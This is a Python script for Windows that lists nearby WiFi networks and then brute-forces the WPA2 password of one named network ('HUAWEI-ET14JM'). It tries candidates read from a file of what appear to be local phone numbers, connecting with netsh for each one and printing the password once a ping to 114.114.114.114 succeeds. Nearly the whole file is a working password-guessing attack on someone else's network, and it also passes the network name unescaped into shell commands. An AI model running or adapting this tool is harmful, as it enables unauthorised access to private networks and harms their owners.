import subprocess
import time


def list_wifi_ssids():
    # 使用netsh命令列出所有可用的WiFi网络
    result = subprocess.run(['netsh', 'wlan', 'show', 'networks'], capture_output=True, text=True)
    
    if result.returncode != 0:
        print("执行命令失败:", result.stderr)
        return []

    ssids = []
    lines = result.stdout.splitlines()
    in_ssid_section = False

    for line in lines:
        if "SSID" in line and ":" in line:
            in_ssid_section = True
            ssid = line.split(":")[1].strip()
            ssids.append(ssid)
        elif in_ssid_section and not line.strip():
            # 如果遇到空行，停止收集SSID
            break

    return ssids


def connect_to_wifi(ssid, password):
    # 创建一个临时的 WiFi 配置文件
    config = f'''<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>{ssid}</name>
    <SSIDConfig>
        <SSID>
            <name>{ssid}</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>manual</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>{password}</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>
'''

    # 将配置文件内容写入临时文件
    with open('temp_wifi_profile.xml', 'w') as file:
        file.write(config)

    # 添加 WiFi 配置文件
    add_profile_command = f'netsh wlan add profile filename="temp_wifi_profile.xml"'
    result = subprocess.run(add_profile_command, capture_output=True, text=True, shell=True)
    if result.returncode != 0:
        print("添加配置文件失败:", result.stderr)
        return False

    # 连接到 WiFi
    connect_command = f'netsh wlan connect name="{ssid}"'
    result = subprocess.run(connect_command, capture_output=True, text=True, shell=True)
    if result.returncode != 0:
        print("连接WiFi失败:", result.stderr)
        return False

    #print(f"成功连接到WiFi! {connect_command}")
    time.sleep(0.05)  # 50毫秒 = 0.05秒
    host = "114.114.114.114"
    ping_host(host, password)
    return True


def ping_host(host, password):
    try:
        # 使用ping命令，发送4个数据包
        result = subprocess.run(['ping', '-n', '4', host], capture_output=True, text=True)
        
        if result.returncode == 0 and not "无法访问目标主机" in result.stdout:
            print(f"Ping 成功! password: {password}")
            #print("Ping 结果:")
            print(result.stdout)
            #else:
            #print("Ping 失败!")
            #print("错误信息:")
            #print(result.stderr)
    except Exception as e:
        print(f"发生错误: {e}")


if __name__ == "__main__":
    ssids = list_wifi_ssids()
    if ssids:
        print("可用的WiFi网络SSID:")
        for ssid in ssids:
            print(ssid)
    else:
        print("没有找到可用的WiFi网络SSID")
    ssid = "HUAWEI-ET14JM"
    # 输入文件路径
    input_file = 'jining_phone_numbers.txt'
    try:
        with open(input_file, 'r') as file:
            for i, line in enumerate(file, start=1):
                # 每1000行打印一次行数
                print(".")
                if i % 1000 == 0:
                    print(f"已处理 {i} 行")
                phone_number = line.strip()  # 去除行尾的换行符
                #print(phone_number)
                success = connect_to_wifi(ssid, phone_number)
                if not success:
                    print("连接失败，请检查SSID和密码是否正确。")
    except FileNotFoundError:
        print(f"文件未找到: {input_file}")
    except Exception as e:
        print(f"发生错误: {e}")

